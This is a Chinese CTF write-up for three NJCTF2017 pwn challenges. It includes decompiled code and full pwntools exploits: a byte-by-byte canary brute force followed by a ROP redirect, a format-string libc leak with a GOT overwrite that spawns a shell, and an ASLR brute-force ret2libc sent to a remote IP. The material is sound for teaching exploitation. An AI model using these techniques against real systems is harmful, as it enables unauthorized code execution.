NJCTF2017
题目链接如下:
链接:https://pan.baidu.com/s/1U2214K0IklnTXEQUV9XG1w
密码:mxwj
pwn-messager
题目分析
程序采用的是socket监听端口的方式来接受用户请求,每接收到一个请求都会fork一个子进程,子进程会调用函数sub_400be9
:
函数sub_400be9中存在明显的溢出:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24signed __int64 sub_400BE9()
{
signed __int64 result; // rax@2
__int64 v1; // rdx@4
char s; // [sp+10h] [bp-70h]@1
__int64 v3; // [sp+78h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
printf("csfd = %d\n", (unsigned int)fd);
bzero(&s, 0x64uLL);
if ( (unsigned int)recv(fd, &s, 0x400uLL, 0) == -1 )
{
perror("recv");
result = 0xFFFFFFFFLL;
}
else
{
printf("Message come: %s", &s);
fflush(stdout);
result = 0LL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}
利用思路
查看程序开启了哪些保护,开启了Cannary和NX:1
2
3
4
5
6
7root@0a07932a245e:/home/em/ctf/njctf/messager# checksec messager
[*] '/home/em/ctf/njctf/messager/messager'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了Canary,要利用这个栈溢出就需要知道Canary的值,Canary的值要么通过泄露、要么通过爆破的方式来获取,这里可以通过爆破的方式。因为fork出的子进程的栈数据和父进程是一致的,所以每次fork的进程中Canary的值都是一样的,只需要逐字节的爆破即可得到正确的Canary。
得到Canary的值后就能够控制程序的执行流程了,由于开启了NX,只能通过ROP的方式,程序的0x400bc6处将读取到的flag发送出去:
只需要控制程序流程让其执行该函数即可。
过程记录
1 | 第一次调试,canary的值: |
从调试过程中发现cannry的值一直没有发生变化,因为canary的值是从内存中的某个地址取出来的,而子进程是通过fork的方式来产生的,因此canary的值始终是相等的,这就导致可以逐字节的覆盖canary的值,通过判定程序有没有崩溃来确定覆盖的字节值是否是正确的。
漏洞利用
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38from pwn import *
context(arch='amd64', os='linux', endian='little')
# context.log_level='debug'
# gdb.attach(proc.pidof('messager')[0])
canary=''
def get_canary():
global canary
for i in range(0,8):
for j in range(0,255):
p = remote('127.0.0.1',5555)
temp = chr(j)
p.recvuntil('Welcome!\n')
payload = 'a'*0x68+canary+temp
p.send(payload)
try:
data = p.recvline()
#print data
if "Message received" in data:
canary += temp
print 'canary = ' + canary.encode('hex')
# print 'ok'
except:
continue
break
canary = p64(0x62e3d26fa6bada00)
p = remote('127.0.0.1',5555)
p.recvuntil('Welcome!\n')
pop_rdi = 0x0000000000400fb3
pop_rsi_r15 = 0x0000000000400fb1
# rop_chain = 'a'*0x68+canary+p64(0xdeadbeef)+p64(pop_rdi)+p64(0x5)+p64(pop_rsi_r15)+p64(0x602160)+p64(0x0)+p64(0x400950)
payload = 'a'*0x68+canary+p64(0xdeadbeef)+p64(0x400bc6)
# p.send(rop_chain)
p.send(payload)
print p.recv()
# p.interactive()
pwn-pingme
程序分析
非常明显的格式化字符串漏洞,限制了输入字符的长度为64字节,但是这已经足够了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21void __cdecl __noreturn main()
{
char format; // [sp+Ch] [bp-4Ch]@2
int v1; // [sp+4Ch] [bp-Ch]@1
v1 = *MK_FP(__GS__, 20);
sub_80485D7();
puts("Ping me");
while ( 1 )
{
if ( sub_804858B(&format, 64) )
{
printf(&format);
putchar(10);
}
else
{
puts(";( ");
}
}
}
利用思路
格式化字符串的利用,首先通过格式化字符串来泄露libc基址,接着使用格式化字符串往任意地址写数据的功能来修改got表,拿到shell。
漏洞利用
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36from pwn import *
context(arch='i386', os='linux', endian='little')
context.log_level='debug'
p = process('./pingme')
elf = ELF('./pingme')
libc = ELF('./libc.so.6')
def overwrite(addr,value,offset):
position_1 = value&0xFFFF
position_2 = (value>>16)&0xFFFF
if position_2>position_1:
payload=p32(addr)+p32(addr+2)+'%'+str(position_1-4-4)+'x%'+str(offset)+'$hn'+'%'+str(position_2-position_1)+'x%'+str(offset+1)+'$hn'
else:
payload=p32(addr+2)+p32(addr)+'%'+str(position_2-4-4)+'x%'+str(offset)+'$hn'+'%'+str(position_1-position_2)+'x%'+str(offset+1)+'$hn'
return payload
print p.recvuntil('Ping me')
# gdb.attach(p,gdbscript='''
# b *0x8048663
# ''')
# info leak
payload = p32(elf.got['printf'])+'%7$s'+'a'*10
p.sendline(payload)
p.recvuntil(p32(elf.got['printf']))
printf_addr = u32(p.recv()[0:4])
print hex(printf_addr)
libc_base = printf_addr-libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
# overwrite got
printf_got = elf.got['printf']
payload = overwrite(printf_got,system_addr,7)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
233
题目分析
使用IDA查看发现程序没有任何输出,main函数里面存在明显的栈溢出:1
2
3
4
5
6
7int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+16h] [bp-Eh]@1
read(0, &v4, 0x400u);
return atoi((const char *)&v4);
}
查看程序开启的保护措施:1
2
3
4
5Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序开启了PIE,但是又没有信息泄露的地方,这种情况下采用爆破的方式,因为程序是32位的,爆破起来难度不大:1
2
3
4
5
6
7
8第一次调试,libc基址:
0xF7D9E000
第二次调试,libc基址:
0xF7D9B000
第三次调试,libc基址:
0xF7D45000
漏洞利用-直接爆破
基址中开始的0xF7是不会变的,最后的0x000也是不会变的,会变的只有中间的12个bit,因此最多需要2^12即可爆破出来:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import time
from pwn import *
context.log_level = 'debug'
libc_base = 0xf772f000#brute
offse_sys = libc_base + 0x3fe70
offse_bsh = libc_base + 0x0015da8c
def exp():
io = remote('106.14.22.20', 23743)
payload = 'c'*0x16 + p32(offse_sys) + 'a'*4 + p32(offse_bsh)
io.sendline(payload)
sleep(2)
io.sendline('echo simp1e')
d = io.recv(timeout=1)
if 'simp1e' not in d:
io.close()
return
print '!!!!!!'
io.interact()
if __name__ == '__main__':
tt=0
while 1:
print 'tyyy:%d'%(tt)
tt += 1
try:
exp()
except:
pass